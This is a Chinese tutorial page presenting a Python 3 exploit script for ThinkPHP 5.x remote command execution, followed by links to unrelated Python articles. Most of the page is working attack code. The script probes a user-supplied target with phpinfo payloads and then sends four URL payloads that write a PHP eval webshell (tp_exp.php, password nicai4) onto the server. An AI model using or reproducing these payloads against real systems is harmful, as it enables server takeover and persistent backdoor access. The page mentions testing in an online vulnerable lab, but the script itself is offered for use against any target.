python3編寫ThinkPHP命令執(zhí)行Getshell的方法
加了三個(gè)驗(yàn)證漏洞以及四個(gè)getshell方法
# /usr/bin/env python3 # -*- coding: utf-8 -*- # @Author: Morker # @Email: [email]admin@nsf.me[/email] # @Blog: [url]http://nsf.me/[/url] import requests import sys def demo(): print(' _______ _ _ _ _____ _ _ _____ ') print(' |__ __| | (_) | | | __ \| | | | __ \ ') print(' | | | |__ _ _ __ | | _| |__) | |__| | |__) |') print(''' | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''') print(' | | | | | | | | | | <| | | | | | | ') print(' |_| |_| |_|_|_| |_|_|\_\_| |_| |_|_| ') print() print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).') print('\tRemote command execution exploit.') print('\tVulnerability verification and getshell.') print('\tTarget: http://target/public') print() class ThinkPHP(): def __init__(self,web): self.web = web self.headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0", "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding" : "gzip, deflate", "Content-Type" : "application/x-www-form-urlencoded", "Connection" : "keep-alive" } def verification(self): i = 0 s = 0 verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1'] while True: if i == len(verifications): break else: url = self.web + verifications[i] req = requests.get(url=url,headers=self.headers) if 'phpinfo()' in req.text: s = 1 break else: s = 0 i += 1 if s == 1: print("[+] There are vulnerabilities.") print() toshell = input("[*] Getshell? (y/n):") if toshell == 'y': self.getshell() elif toshell == 'n': sys.exit() else: sys.exit() else: print("[-] There are no vulnerabilities.") def getshell(self): getshells = [ '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>', '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php', '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php', '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>'] shell = self.web + '/tp_exp.php' i = 0 s = 0 while True: if i == len(getshells): break else: url = self.web + getshells[i] req = requests.get(url=url,headers=self.headers) req_shell = requests.get(url=shell,headers=self.headers) if req_shell.status_code == 200: s = 1 break else: s = 0 i += 1 if s == 1: print("[+] WebShell :%s PassWord :nicai4" % shell) else: print("[-] The vulnerability does not exist or exists waf.") def main(): demo() url = input("[*] Please input your target: ") run = ThinkPHP(url) run.verification() if __name__ == '__main__': main()
注:圖中的測(cè)試網(wǎng)址為在線漏洞環(huán)境,可自己去在線搭建測(cè)試。
環(huán)境地址:https://www.vsplate.com/
效果圖:
以上就是本文的全部?jī)?nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。
相關(guān)文章
opencv3/Python 稠密光流calcOpticalFlowFarneback詳解
今天小編就為大家分享一篇opencv3/Python 稠密光流calcOpticalFlowFarneback詳解,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2019-12-12淺談多卡服務(wù)器下隱藏部分 GPU 和 TensorFlow 的顯存使用設(shè)置
這篇文章主要介紹了淺談多卡服務(wù)器下隱藏部分 GPU 和 TensorFlow 的顯存使用設(shè)置,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2020-06-06python實(shí)現(xiàn)手機(jī)號(hào)歸屬地查詢功能
手機(jī)上突然收到了某銀行的短信提示,看了一下手機(jī)的位數(shù),正好是11位,我一想,這不就是標(biāo)準(zhǔn)的手機(jī)號(hào)碼嗎?于是想用python的庫(kù)實(shí)現(xiàn)查詢手機(jī)號(hào)碼歸屬地查詢自由,所以本文給大家介紹了如何用python實(shí)現(xiàn)手機(jī)號(hào)歸屬地查詢功能,需要的朋友可以參考下2024-03-03基于Python和Scikit-Learn的機(jī)器學(xué)習(xí)探索
這篇文章主要介紹了基于Python和Scikit-Learn的機(jī)器學(xué)習(xí)探索的相關(guān)內(nèi)容,小編覺得還是挺不錯(cuò)的,這里分享給大家,供需要的朋友學(xué)習(xí)和參考。2017-10-10Matplotlib可視化之添加讓統(tǒng)計(jì)圖變得簡(jiǎn)單易懂的注釋
今天給大家?guī)?lái)的文章是關(guān)于Python的,文章圍繞著Python Matplotlib可視化展開,文中非常詳細(xì)的介紹了如何給統(tǒng)計(jì)圖添加注釋,需要的朋友可以參考下2021-06-06Python執(zhí)行時(shí)間的幾種計(jì)算方法
這篇文章主要介紹了Python執(zhí)行時(shí)間的幾種計(jì)算方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2020-07-07python Pandas中數(shù)據(jù)的合并與分組聚合
大家好,本篇文章主要講的是python Pandas中數(shù)據(jù)的合并與分組聚合,感興趣的同學(xué)趕快來(lái)看一看吧,對(duì)你有幫助的話記得收藏一下2022-01-01Python?計(jì)算機(jī)視覺編程進(jìn)階之OpenCV?圖像銳化及邊緣檢測(cè)
計(jì)算機(jī)視覺這種技術(shù)可以將靜止圖像或視頻數(shù)據(jù)轉(zhuǎn)換為一種決策或新的表示。所有這樣的轉(zhuǎn)換都是為了完成某種特定的目的而進(jìn)行的,本篇我們來(lái)學(xué)習(xí)下如何對(duì)圖像進(jìn)行銳化處理以及如何進(jìn)行邊緣檢測(cè)2021-11-11